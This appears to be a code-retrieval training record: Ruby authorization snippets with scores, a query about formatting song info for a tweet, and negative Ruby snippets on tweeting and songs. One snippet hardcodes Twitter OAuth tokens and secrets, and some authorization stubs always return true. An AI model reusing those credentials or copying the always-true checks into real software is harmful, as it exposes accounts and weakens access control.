"def authorize\n (render :json => { :error => \"Authentication error\" }, :status => :unauthorized and return) unless User.current.present?\n authorized ? true : deny_access\n end",
"def authorize?(user)\n true\n end",
"def authorized?\n @authorized ||= User.get(@env).present?\n end",
"def authorized_user?\n role = user_with_role.role\n unless role\n request.env[\"HTTP_REFERER\"] = logout_path\n return false\n end\n\n h = send(:\"#{role}_hash\")\n\n if h[controller_sym].is_a?(Hash)\n h[controller_sym][action_sym]\n else\n !!h[controller_sym]\n end\n end",
"def authorized?\n @current_user ||= User.first(:conditions => {:name => session[:cas_user]})\n !@current_user.nil?\n end",
"def authorized? (action=action_name, resource=nil)\n\n return false unless current_user\n\n return true if [ 'show', 'index', 'tree' ].include?(action)\n\n current_user.is_admin?\n end",
"def authorized?(type=Admin)\n user = current_user\n if user.nil?\n return false\n end\n return user.is_a?(type)\n end",
"def authorized?(type=Admin)\n user = current_user\n if user.nil?\n return false\n end\n return user.is_a?(type)\n end",
"def authorize_user\n # simple authorization: kick out anonymous users from backend actions\n=begin\n if !current_user\n redirect_back_or_default(home_page) and return if action_name =~ /index|edit|update|destroy/\n \n # skip checking permission if user is an admin\n elsif !current_user.has_role?('Admin')\n unless current_user.has_permission?(controller_name, action_name, params)\n flash[:warning] = 'Access Denied'\n redirect_back_or_default(home_page) and return\n end\n end\n=end\n end",
"def customize_authorized?\n authorized_for?(:action => :read)\n end",
"def authorized?\n authorized = nil\n user && user.role_symbols.each do |role|\n (permissions[role] || {}).each do |act, opt|\n if act == action\n break if (authorized = opt.any? ? eval_expr(opt) : true)\n end\n end\n break if authorized\n end\n authorized\n end",
"def authorized?\n if !current_contact.privilege?(AppConstants::PRIVILEGE[:super_user])\n flash[:warning] = \"You are not authorized to access this area\"\n false\n else\n true\n end \n end",
"def authorize?(_user)\n true\n end",
"def authorize?(_user)\n true\n end",
"def logged_in_authorize\n unless logged_in?\n unauthorized_access\n end\n end",
"def authorize\n\t\tredirect_to '/login' unless current_user\n\tend",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorized_for?(options = {})\n current_user && current_user.authorized_for?(options)\n end",
"def logged_in?\n authorized?\n end",
"def authorized?(resource)\n return false unless self.active\n # return true if role_authorized?('superuser') \n #OPTIMIZE: DO WE WANT THIS? It causes you to have access to all departments in all controllers, no matter what your permissions are.\n \n # return permission_strings.include?(resource) #reduced performance\n return permission_strings_cached.include?(resource) #causes caching bug\n end",
"def authorized?(tmp_user)\n user == tmp_user\n end",
"def authorization_checking\n authorize!(:authorization_checking,current_user) unless current_user.role?(:livia_admin) || current_user.role?(:lawfirm_admin)\n end",
"def authorization_check\n # if there isn't a current session, redirect to login\n if session[:current_user] == nil\n redirect \"users/login\"\n else\n return true\n end\n end",
"def authorize\n redirect_to login_url, alert: \"Not authorized\" if !current_user\n end",
"def view_authorized(current_user)\n return self.public? || self.edit_authorized(current_user)\n end",
"def authorize?(user)\n required_perm = \"%s/%s\" % [ params[:controller], params[:action] ]\n\n if user.authorized? required_perm\n return true\n end\n\n return false\n end",
"def authorize_user\n if @user.id != current_user.id\n redirect_to \"/\", notice: 'You are not allowed the given operation' and return\n end\n end",
"def authorized?(options={})\n if current_user\n return true if current_user.master?\n ctrl = self.class\n action = action_name\n unless options[:controller].blank?\n if options[:action].blank?\n raise \"[BASEAPP ERROR] You need to define an action when authorizing via controller\"\n end\n action = options[:action]\n ctrl = options[:controller]\n end\n resource = options[:resource].blank? ? \"#{ctrl.controller_name_for_authorization}-#{action}\" : options[:resource]\n current_user.has_role?(ctrl.required_roles_for_method(action)) && current_user.have_access?(resource)\n else\n false\n end\n end",
"def authorize?(user)\n true\n #user.login == \"administrador\"\n end",
"def authorized?\n\t\treturn self.authenticated?\n\tend",
"def authorization_check\n if session[:current_user] == nil\n redirect '/not_authorized'\n else\n return true\n end\nend",
"def authorized?(**args)\n super && (!defined?(Pundit) || current_user || raise(Pundit::NotAuthorizedError))\n end",
"def authorize(user=\"no\")\n if user.nil?\n not_authorized(\"User not found.\")\n false\n elsif user == 'no'\n require_login\n !!current_user\n else\n if user_authorized?(user)\n true\n else\n not_authorized\n false\n end\n end\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def is_authorized\n (!current_user.nil? and auth_types.include? current_user.user_attributes[:bor_type])\n end",
"def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end",
"def authorization_check\n # if there isn't a current session, redirect to login\n if session[:current_user] == nil\n redirect \"/login\"\n else\n return true\n end\n end",
"def authorize\n if !(AUTHENTICATOR.authorized?(@session['logged_in'], @session['username'], \n controller_name, action_name, @params[:id]))\n @session['return_to'] = @request.request_uri\n redirect_to :action => 'login'\n return false\n end\n end",
"def authorized?(role)\n current_user[:role] >= User.roles[role]\n end",
"def allow_access\n !@current_user.nil?\n end",
"def authorized\n redirect_to new_user_session_path unless logged_in?\n end"
] |
[
"0.83697116",
"0.82996666",
"0.8289906",
"0.8272799",
"0.8270042",
"0.82172114",
"0.8214159",
"0.8209202",
"0.8105001",
"0.8089966",
"0.8089966",
"0.80848414",
"0.80446553",
"0.8013533",
"0.80072534",
"0.80072534",
"0.7991215",
"0.7987681",
"0.7984398",
"0.79811186",
"0.79714674",
"0.7917551",
"0.7914428",
"0.7901455",
"0.7898921",
"0.7883812",
"0.784571",
"0.782568",
"0.78151774",
"0.7807693",
"0.7804905",
"0.77765906",
"0.77761686",
"0.77751166",
"0.7775052",
"0.7748499",
"0.77439183",
"0.76793766",
"0.76470727",
"0.76449895",
"0.7634215",
"0.76140726",
"0.7611885",
"0.76101184",
"0.759328",
"0.7588175",
"0.75833595",
"0.758061",
"0.758061",
"0.7572642",
"0.75642353",
"0.75478846",
"0.75448376",
"0.75363386",
"0.7533475",
"0.75259465",
"0.7523706",
"0.7517915",
"0.7517915",
"0.75172156",
"0.7516147",
"0.7515166",
"0.7511006",
"0.7497481",
"0.7497481",
"0.7491049",
"0.74883646",
"0.7479849",
"0.74794686",
"0.7473776",
"0.7463893",
"0.74551666",
"0.7443355",
"0.743971",
"0.7439674",
"0.7431359",
"0.74257565",
"0.7421856",
"0.7421526",
"0.74187016",
"0.7402107",
"0.7399269",
"0.7383566",
"0.73772126",
"0.737112",
"0.737112",
"0.737112",
"0.737112",
"0.737112",
"0.737112",
"0.737112",
"0.737112",
"0.7369171",
"0.7364329",
"0.7361442",
"0.7354614",
"0.7344992",
"0.73363334",
"0.7328565"
] |
0.7953632
|
22
|
Formats song information to send tweet
|
def format(song)
artist_name = format_artist_name(song["artist"]["content"])
song_name = format_song_name(song["name"])
hashtag = format_hashtag(song["nowplaying"])
return "#{song_name} - #{artist_name} ##{hashtag}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getSongInfo(tweet)\n\tthe_artist_name = tweet[/by[\\w\\W]+(((http\\:\\/\\/){1}))/i]\n\tif the_artist_name != nil\n\t\t@artist_name = the_artist_name[/(?<=^|(?<=[^a-zA-Z0-9\\_\\.]))@([A-Za-z0-9\\_]+)/i]\n\t\tif @artist_name != nil\n\t\t\t@artist_name = @artist_name[1..@artist_name.length]\n\n\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t# is the Timeout/execution expired.\n\t\t\tbegin\n\t\t\t\tuserTweet = Twitter.user(\"#{@artist_name}\").verified\n\t\t\trescue \t\n\t\t\t\tputs \"Exception caught and ignored\"\n\t\t\t\tsleep 15\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif (userTweet != nil) && (userTweet == true)\n\n\t\t\t\t# Catch the exception thrown by trying to get information\n\t\t\t\t# from the artist tweet page info. The most common exception\n\t\t\t\t# is the Timeout/execution expired.\n\t\t\t\tbegin\n\t\t\t\t\t@artist_name = Twitter.user(\"#{@artist_name}\").name\n\t\t\t\trescue\n\t\t\t\t\tputs \"Exception caught and ignored\"\n\t\t\t\t\tsleep 15\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\t\n\t\telse\n\t\t\t@user_location = tweet[/\\([\\s]*@([^\\)]+)\\)/i]\n\t\t\tif @user_location == nil\n\t\t\t\t@artist_name = the_artist_name[3..(the_artist_name.length - 9)]\n\t\t\telse\n\t\t\t\t@artist_name = tweet[/by[\\w\\W]+[(@]/i]\n\t\t\t\tif @artist_name != nil\t\n\t\t\t\t\t@artist_name = @artist_name[3..(@artist_name.length - 3)]\n\t\t\t\tend\n\t\t\tend\n\t\tend\t\n\t\tthe_name = @artist_name[/[\\w\\W]+[|]/i]\n\t\tif the_name != nil\n\t\t\t@artist_name = the_name[0..(the_name.length - 2)]\n\t\tend\n\t\tputs \"Artist name: #{@artist_name}\"\n\n\t\t@song_name = tweet[/\\\"[\\s\\S\\d\\D\\w\\W]+\\\"/i]\n\t\tif @song_name != nil\n\t\t\tthe_song = @song_name[/[\\w\\W\\d\\D\\s\\S\"] +\"[\\w\\W\\d\\D\\s\\S]+\\w/i]\n\t\t\tif the_song != nil\n\t\t\t\t@song_name = the_song[3..(the_song.length)]\n\t\t\telse\n\t\t\t\t@song_name = @song_name[1..(@song_name.length - 2)]\n\t\t\tend\n\t\t\tputs \"Song name: #{@song_name}\"\n\t\tend\n\tend\nend",
"def write_tweet(item)\n prefix = @recipient ? \"@#{@recipient} \" : \"\"\n\n source_title = item.source_title\n title = item.title\n link = item.link\n title_delimiter = \": \"\n link_delimiter = \" \"\n\n counter = MAX_TWEET_SIZE\n counter -= prefix.size\n counter -= title_delimiter.size\n counter -= link_delimiter.size\n counter -= T_CO_LINK_SIZE\n\n actual = counter\n actual -= source_title.size\n actual -= title.size\n\n if actual < 0\n chop = counter / 2\n source_title = source_title[0, chop]\n title = title[0, chop]\n end\n\n [prefix, source_title, title_delimiter, title, link_delimiter, link].join(\"\")\n end",
"def format(tweet)\n if tweet.text.match(/@partyprinter tubestatus/)\n Tubestatus\n elsif tweet.text.match(/@partyprinter bardscene.*/)\n Bardscene\n else\n Tweet\n end\n \n end",
"def tweet(title)\n unless @twitter_client.nil?\n\n # Make sure the title is short enough\n if title.length > 80\n title = title[0,80]\n end\n if @dj_tweeting\n @twitter_client.update(\"Now playing on #DuaneFM: #{title} http://bit.ly/1ErYiZr #hewitt\")\n end\n\n end\n end",
"def tweet!\n TWITTER.update(\"#{title.truncate(75)} - #{tweet_users}\\n\\nhttp://beta.briefideas.org/ideas/#{sha}\")\n self.update_columns(:tweeted => true)\n end",
"def process_tweet(tweet)\n log_info { \"New Tweet: #{tweet.uri}\" }\n\n if tweet.retweeted_status.present?\n text =\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.retweeted_status.user.screen_name}\\\">@#{tweet.retweeted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.retweeted_status)\n\n send_media_of tweet.retweeted_status, retweeted: true\n\n elsif tweet.quoted_status?\n text =\n convert_all_entities(tweet) + \"\\n\\n\" +\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.quoted_status.user.screen_name}\\\">@#{tweet.quoted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.quoted_status)\n\n send_media_of tweet.quoted_status, retweeted: true\n\n else\n text = convert_all_entities(tweet)\n\n send_media_of tweet\n\n end\n\n text = text + \"\\n\\n<a href=\\\"#{tweet.uri}\\\">Reply</a>\"\n\n @bot.telegram.api.send_message(\n chat_id: @config.twitter.target_channel,\n text: text,\n parse_mode: 'HTML',\n disable_web_page_preview: true\n )\n\n end",
"def tweet\n\t\treturn \"AHHP! Pretty bird!\"\n\tend",
"def format_hashtag(nowplaying)\n if nowplaying\n return \"nowplaying\"\n else\n return \"tweetsong\"\n end\n end",
"def tweet_format message\n\n # We begin the hunt for links. The good news is that Slack marks them out for us!\n # Links look like:\n # <http://google.com>\n # or\n # <http://google.com|Google!>\n # We want to ignore the label, and just get the URL\n\n links = []\n message['text'].scan(/<(https?:\\/\\/.+?)>/).each do |m|\n url = m[0].split('|')[0]\n links.append url #URI.encode url\n end\n\n return nil if links.length == 0 #return nil if no links found\n\n # Just take the first link.\n\n response = Faraday.get links[0]\n\n # We are now in our own thread, operating asynchronously. We can take our time here.\n\n # First, we use Nokogiri to extract the page title.\n page = Nokogiri::HTML(response.body)\n page.css('script, link, style').each {|node| node.remove}\n title = page.css('title').text\n\n # Now craft a tweet message; remember max is 140 chars!\n\n # First, check the current max length of a t.co link wrapper\n # TODO\n t_co = 20\n length = title.length + t_co + 1 # 1 for the space.\n delta = length - 140\n if delta > 0\n title = title[0..-delta-2] + '…'\n end\n\n title + ' ' + links[0]\n end",
"def tweet\n \"<blockquote class='twitter-tweet' lang='en'><p lang='en' dir='ltr'>\" + tweet_text + \n \"</p>—\" + twitter_user + \"<a href='\" + twitter_url + \"'>\" + tweet_date + \n \"</a></blockquote><script async src='//platform.twitter.com/widgets.js' charset='utf-8'></script>\"\n end",
"def draw_track_info\n heading = @song[:title].titleize\n if @track_credits\n heading += \" by \" + @track_credits.first(3).join(', ')\n end\n\n text(heading, 10, 16)\n # TODO: Make album spine look realistic:\n stroke_weight(1)\n stroke(123, 100, 100)\n line(X_SPLIT, 0, X_SPLIT, height)\n stroke(255)\n end",
"def tweet\n return \"chirp chirp\"\n end",
"def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend",
"def record_tweet(tweet_name, time)\n \n end",
"def tweet\n\t\treturn \"Polly want's a cracker.\"\n\tend",
"def tweet(message, lat, long)\n #\nend",
"def tweet(message, lat, long)\n #\nend",
"def format\n self.songs.size > 1 ? s = \"songs\" : s = \"song\"\n \"#{self.name.capitalize}\"\n end",
"def tweet\n\treturn \"Tweet Tweet Twitter\"\nend",
"def prep_event(tweet)\n # From the tweet text get date and time\n date = date(tweet.full_text)\n time = time(tweet.full_text)\n {\n place: tweet.place,\n date: date,\n time: time,\n keywords: tweet.full_text,\n username: tweet.username,\n id: tweet.tweet_id\n }\n end",
"def create_text\n songs.inject(\"\") do |list, song|\n list << \"#{song.filename}, #{song.title}\\n\"\n end\n end",
"def tweet2(message, options = {})\n\tlat = options[:lat] || \"\"\n\tlong = options[:long] || \"\"\n\tputs message + lat + long\nend",
"def getIncomingTweets\n words = ['Zynga','YouTube','Yahoo','Xbox','Windows','Wikipedia','Twitter','Tumblr','Telecoms','Symbian','Oracle','Spotify','Sony','Smartphones','Skype','Samsung','Reddit','Oracle','Nokia','Nintendo','Acer','Acta','Activision','Blizzard','Adobe','Amazon','Android','AOL','Apple','Asus','Bing','Bitcoin','BitTorrent','BlackBerry','Chatroulette','snapchat','Craigslist','Dell','Digg','ebay','Facebook','Firefox','Flickr','Foursquare','gmail','google','groupon','htc','ibm','Instagram','Intel','iPad','iPadmini','iPhone','ipod','iTunes','Kickstarter','Kindle','KindleFire','Kinect','LinkedIn','Linux','Macworld','Megaupload','Microsoft','Mozilla','Myspace','Congress','Obama','Boehner','EricCantor','Biden','Pelosi','Democrats','Republicans','Cruz','Constitution','Federal','Legislature','Senate','Obamacare', 'Acquisition','AMEX','Amortization','Arbitrage','Bank','Bankrupt','Barter','Bear','Beneficiary','Bond','Broker','Brokerage','Bull','Buying','Buyout','Collateral','Commodity','Credit','Debenture','Debit','Debt','Default','Delinquency','Demand','Depository','Depreciation','Depression','Deregulation','Embezzlement','Federal','Fees','Fiscal','Foreclosure','Lendingrate','Leverage','Liability','Lien','Liquidity','Long-term','Lowrisk','Merger','NYSE','OTC','Recession','Regulation','Securities','Takeover','Underwriter']\n TweetStream::Client.new.on_error do |message|\n puts \"Error: #{message.to_s} \"\n end.track('Zynga','YouTube','Yahoo','Xbox','Windows','Wikipedia','Twitter','Tumblr','Telecoms','Symbian','Oracle','Spotify','Sony','Smartphones','Skype','Samsung','Reddit','Oracle','Nokia','Nintendo','Acer','Acta','Activision','Blizzard','Adobe','Amazon','Android','AOL','Apple','Asus','Bing','Bitcoin','BitTorrent','BlackBerry','Chatroulette','snapchat','Craigslist','Dell','Digg','ebay','Facebook','Firefox','Flickr','Foursquare','gmail','google','groupon','htc','ibm','Instagram','Intel','iPad','iPadmini','iPhone','ipod','iTunes','Kickstarter','Kindle','KindleFire','Kinect','LinkedIn','Linux','Macworld','Megaupload','Microsoft','Mozilla','Myspace','Congress','Obama','Boehner','EricCantor','Biden','Pelosi','Democrats','Republicans','Cruz','Constitution','Federal','Legislature','Senate','Obamacare', 'Acquisition','AMEX','Amortization','Arbitrage','Bank','Bankrupt','Barter','Bear','Beneficiary','Bond','Broker','Brokerage','Bull','Buying','Buyout','Collateral','Commodity','Credit','Debenture','Debit','Debt','Default','Delinquency','Demand','Depository','Depreciation','Depression','Deregulation','Embezzlement','Federal','Fees','Fiscal','Foreclosure','Lendingrate','Leverage','Liability','Lien','Liquidity','Long-term','Lowrisk','Merger','NYSE','OTC','Recession','Regulation','Securities','Takeover','Underwriter') do |status|\n if status.text.language.to_s == \"english\" && !status.retweet?\n if words.any? {|word| status.text.include?(word)}\n prep = @conn.prepare(\"INSERT INTO stream(response) VALUES(?)\")\n prep.execute status.text\n prep.close\n end\n end\n end\n end",
"def to_s\n return \"#{@original_tweet}\"\n end",
"def tweet(message, lat, long)\n # ..\nend",
"def create\n @song = Song.new(autofill_vorbis_comments(song_params()))\n # artist = Artist.find_by(name: params[\"song\"][\"artist\"])\n # @song.artist = artist\n\n respond_to do |format|\n if @song.save\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tweet(message, lat, long)\n #..\nend",
"def tweet(message, lat, long)\n # tweet tweet...\nend",
"def sing_me_a_song()\n @lyrics.each { |line| puts line }\n end",
"def to_s\n \"Song: #@name--#@artist (#@duration)\"\n end",
"def tweet\n\t#gets what the last value was from the timeline\n\tlast = $client_twitter.user_timeline()[0].text.match('([0-9])+').string.to_i\n\t#calculates the new value\n\tnext_square = next_number(last)\n\t#these four numbers produce swastikas, so let's just not post those. I'm comfortable getting done 8 hours early for that\n\tif next_square == 28928495 || next_square == 32632615 || next_square == 921816 || next_square == 4625936\n\t\tnext_square = next_number(next_square)\n\tend\n\t#draws the square and saves the file name\n\tfile_name = draw_grid(next_square)\n\t#gets the text of the tweet\n\tnew_tweet = generate_tweet(next_square)\n\t#opens the file and posts\n\tFile.open(file_name) do |f|\n\t\t$client_twitter.update_with_media(new_tweet, f)\n\tend\n\t#deletes the file so it doesn't clutter up the place\n\tFile.delete(file_name)\n\t#And we're done!\n\tputs \"Posted to twitter\"\nend",
"def tweet_body\n out = []\n out << title\n if direction_message.present?\n out << direction_message\n end\n if description.present?\n out << description\n end\n moves_answers.each.with_index(1) do |e, i|\n out << \"#{i}. #{e.moves_human_str}\"\n end\n out << tweet_tag_part\n out.join(\"\\n\")\n end",
"def create_twitter_message(upload_file_id,description)\n encrypt_id = get_encrypt_id_by_file_id(upload_file_id)\n user_id = get_user_id_media_id(upload_file_id)\n owner_name = get_login_by_user_id(user_id)\n\t\n # Create URL to share with twitter\t\n twit_url = \"#{HOST}/media/show/#{encrypt_id}\"\t\n if description != \"\"\n twit_description = description\n else\n twit_description = \"\"\n end\n # Add description with URL\n if !twit_description.nil?\n tweet_message = \"@\" + owner_name + \" \" + twit_description + twit_url\n else\n tweet_message = twit_url\n end\n # Return message\n return tweet_message\n end",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def display_song\n return \"Title: #{song_title}, Duration: #{duration}, Genre: #{genre}\"\n end",
"def tweet(text, at = current_timestamp)\n return unless check_length(text.length)\n open(tweetfile, 'a') do |f|\n f.puts \"#{at}\\t#{text}\"\n end\n post_tweet_hook\nend",
"def save_tweet(tweet, user)\n RawTweet.create(tweet_id: tweet.id) do |t|\n t.full_text = tweet.full_text\n t.uri = tweet.uri\n t.tweet_posted_at = tweet.created_at\n t.username = user.screen_name\n t.place = place(tweet)\n end\n end",
"def tweet\n return \"Arrrr matey\"\n end",
"def song_details(song)\n song_details = {\n 'name' => song.name,\n 'id' => song.id,\n 'artist' => song.artists[0].name\n }\n @user.playlist << song_details\n end",
"def tweet(message, lat = nil, long = nil, reply_id = nil)\n #\nend",
"def tweet(message, lat = nil, long = nil, reply_id = nil)\n #\nend",
"def construct_tweet(path = \"\", text = ENV[\"TWEET_COPY_GENERAL\"])\n return \"https://twitter.com/share?url=\"+u(get_url(path))+\"&text=\"+text\n end",
"def songtags(json_object)\n client = Sevendigital::Client.new\n # Our has table\n h = JSON.parse json_object\n song_id = h[\"song_id\"]\n lat = h[\"latitude\"]\n long = h[\"longitude\"]\n\n details = client.track.get_details(song_id)\n artist = details.artist.name\n title = details.title\n album = details.release.title\n stream_url = details.preview_url\n art_url = details.release.image(100)\n\n Song.create( {:song_id => song_id, :longitude => long, :latitude => lat,\n :artist => artist, :album => album, :song => title,\n :stream_url => stream_url, :art_url => art_url } )\n end",
"def fix_raw_tweet!\n return unless raw_tweet\n raw_tweet['id'] = ModelCommon.zeropad_id( raw_tweet['id'])\n raw_tweet['created_at'] = ModelCommon.flatten_date(raw_tweet['created_at'])\n raw_tweet['favorited'] = ModelCommon.unbooleanize(raw_tweet['favorited'])\n raw_tweet['truncated'] = ModelCommon.unbooleanize(raw_tweet['truncated'])\n raw_tweet['twitter_user_id'] = ModelCommon.zeropad_id( raw_tweet['twitter_user_id'] )\n raw_tweet['in_reply_to_user_id'] = ModelCommon.zeropad_id( raw_tweet['in_reply_to_user_id']) unless raw_tweet['in_reply_to_user_id'].blank? || (raw_tweet['in_reply_to_user_id'].to_i == 0)\n raw_tweet['in_reply_to_status_id'] = ModelCommon.zeropad_id( raw_tweet['in_reply_to_status_id']) unless raw_tweet['in_reply_to_status_id'].blank? || (raw_tweet['in_reply_to_status_id'].to_i == 0)\n Wukong.encode_components raw_tweet, 'text', 'in_reply_to_screen_name'\n end",
"def tweet3(status, *messages)\n\tputs \"#{messages.join(' ')} #{status}\"\nend",
"def tweet (message, lat = nil, long = nil )\n #\nend",
"def tweet (message, lat = nil, long = nil )\n #\nend",
"def tweet(message, options = {}) # options = {} is the hash argument\n status = Status.new\n status.lat = options[:lat] # each item in [] that starts with : are reference keys from hash\n status.long = options[:long]\n status.body = options[:body]\n status.reply_id = options[:reply_id]\n status.post\nend",
"def to_s # Now it dosen't throw the object code\n \"Song: #@name #@artist (#@duration)\" #[#@lyrics]\"\n end",
"def send_tweet(message)\n token = \"1OwtA6XFzgT3DER5GZglnQ\"\n secret = \"TmUsK5uiAT3JlqWA5bWPcWCp0sI8VB0TX4ODwvAixk\"\n\t\t atoken = \"199604836-WvWb2u4hixibybjN9fWGqiNrzQp0BYpibswh7uXP\"\n\t\t\t asecret = \"47KStSmHJ5Fhn74XWvMmfDW3UdqGV0l2jm9KxsZpauE\"\n\n\t\t\t\t\t oauth = Twitter::OAuth.new(token, secret)\n\t\t\t\t\t\t\t\t oauth.authorize_from_access(atoken, asecret)\n\n\t\t\t\t\t\t\t\t\t\t\t client = Twitter::Base.new(oauth)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t client.inspect\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t client.update(message)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t end",
"def twitter_format(text)\n auto_link(text.dup).html_safe\n end",
"def update(sender, message)\n puts \"#{self.name} received a tweet from #{sender.name}: #{message}\"\n end",
"def tweet\n\t\treturn \"tweee\"\n\tend",
"def store_song(details)\n track = RSpotify::Track.search(\"#{details[0]} #{details[1]}\", limit: 1).first\n song_details = {\n 'name' => track.name,\n 'artist' => track.artists[0].name,\n 'id' => track.id,\n 'type' => 'track'\n }\n @mylist << song_details\n update_file\n end",
"def tweet(message, options = {})\n status = Status.new\n status.lat = options[:lat]\n status.long = options[:long]\n status.body = message\n status.reply_id = options[:reply_id]\n status.post\nend",
"def tweet(message, options = {})\n status = Status.new\n status.lat = options[:lat]\n status.long = options[:long]\n status.body = message\n status.reply_id = options[:reply_id]\n status.post\nend",
"def tweet(message, options = {})\n status = Status.new\n status.lat = options[:lat]\n status.long = options[:long]\n status.body = message\n status.reply_id = options[:reply_id]\n status.post\nend",
"def twitt\n if PLANETOID_CONF[:twitter][:entries][:send_twitts] && self.published > self.feed.created_at\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:entries][:prefix]} #{self.title[0..150]} #{self.url}\"\n end\n end",
"def buildDataTrack(release,file)\n data = \"\"\n release.each do |song| \n data = song.feat_artist ? data + \"<a href=\\\"http:\\/\\/player.yoyaku.io/mp3/#{file.xpath(\"//Catalog\")[0].content}_#{song.track_number}.mp3\\\">#{song.artists} & #{song.feat_artist} - #{song.name}</a>\\n\" : data + \"<a href=\\\"http:\\/\\/player.yoyaku.io/mp3/#{file.xpath(\"//Catalog\")[0].content}_#{song.track_number}.mp3\\\">#{song.artists} - #{song.name}</a>\\n\"\n end\n return data\nend",
"def print_latest_song(tracks)\n\t\n\tputs tracks[0]['artist']['#text']\n\tputs tracks[0]['name'] + \" - \" + tracks[0]['album']['#text']\nend",
"def update(tweet)\n client.update tweet\n end",
"def now_playing(artist, track, options={})\n enforce_keys options, :length, :album, :track_number, :mb_trackid\n handshake\n parameters =\n generate_scrobbling_parameters(false,\n options.merge(:artist => artist, :track => track))\n status, = split_plain_text_response(post(@now_playing_url, parameters))\n raise SubmissionError, status unless status == \"OK\"\n end",
"def message_for_twitter(content)\n if content and content.text\n twitter_message_link = polymorphic_url(content.parent || content).gsub(/datalogger=true/, '')\n content.text.truncate(139 - twitter_message_link.length) + ' ' + twitter_message_link\n end\n end",
"def create\n @tweet = FuKing::Twitter.update(params[:tweet][:text])\n\n respond_to do |format|\n if @tweet\n flash[:notice] = 'Tweet was successfully created.'\n format.html { redirect_to(:action => :index) }\n format.mobile { redirect_to(:action => :index) }\n format.xml { render :xml => @tweet, :status => :created, :tweet => @tweet }\n else\n format.html { render :action => \"new\" }\n format.mobile { render :action => \"new\" }\n format.xml { render :xml => @tweet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def print_song\n\t\tif self.bottles == 0 then return \"\" end\n\t\twhile self.bottles > 0\n\t\t\tstanza(self.bottles)\n\t\t\tself.bottles -= 1\n\t\tend\n\tend",
"def song_decoder(song)\n # p song.split('WUB').select { |i| i!= \"\" }.join(',').gsub(/,/, ' ')\n\n p song.gsub(/WUB/, ' ').strip.gsub(/ /, ' ')\n end",
"def song_params\n params.require(:song).permit(:title, :mp3, :link_to_purchase, :link_to_download, :average_mood, :average_timbre,\n :average_intensity, :average_tone, :mood, :timbre, :intensity, :tone, :album_id)\n end",
"def updateNowPlaying(username, password, args = {})\r\n if(args[:artist].to_s.strip.length == 0 || args[:track].to_s.strip.length == 0)\r\n puts \"To update the now playing song you must include an artist, and a track name.\\n Scrobbling failed.\"\r\n return\r\n end\r\n \r\n session_key = getMobileSession(username, password)\r\n if(session_key == \"failed\")\r\n puts \"\\tNow playing update failed.\"\r\n return\r\n end\r\n realArgs = args.select_keys(:artist, :track, :album, :context, :trackNumber, :mbid, :duration, :albumArtist)\r\n realArgs[:method] = \"track.updateNowPlaying\"\r\n realArgs[:sk] = session_key\r\n realArgs[:username] = username\r\n realArgs[:password] = password\r\n realArgs[:api_key] = @apiKey\r\n \r\n realArgs.each{|k,v| realArgs[k] = URI.unescape(v.to_s.strip.encode('utf-8'))}\r\n \r\n sig = signatureMobile(realArgs)\r\n realArgs[:api_sig] = sig\r\n \r\n connection = Request.new(\"https://ws.audioscrobbler.com/2.0/\")\r\n xml = connection.post(\"\", realArgs)\r\n doc = XmlSimple.xml_in(xml)\r\n \r\n if(doc[\"status\"] != \"ok\")\r\n puts \"\\tNow playing update failed.\"\r\n else\r\n puts \"\\tNow playing update was successful.\"\r\n end\r\n end",
"def show\n @song = Song.find(params[:id])\n @tags = Tagger.new @song.file\n @songs = params[:songs]\n\n respond_to do |format|\n format.html\n format.m3u\n format.xml { render :xml => @song }\n\n format.m4a { send_song_file @song}\n format.mp3 { send_song_file @song}\n format.m4p { send_song_file @song}\n # make sure songtype.identifier is not the name of a \"real\" method!\n ## Too Smart by 1/2 this method get's cached as available and then this bypasses\n ## Results in a weird HTML \"unpossible\" error\n# unless format.respond_to? @song.songtype.identifier\n# format.send(@song.songtype.identifier) { send_song_file @song }\n# end\n\n format.jpg {send_song_cover @tags} if @tags.cover\n format.png {send_song_cover @tags} if @tags.cover\n format.tar {send_song_tar @songs}\n\n end\n end",
"def tweet(message, options = {})\n status = Status.new\n status.lat = options[:lat]\n status.long = options[:long]\n status.body = messages\n status.reply_id = options[:reply_id]\n status.post\nend",
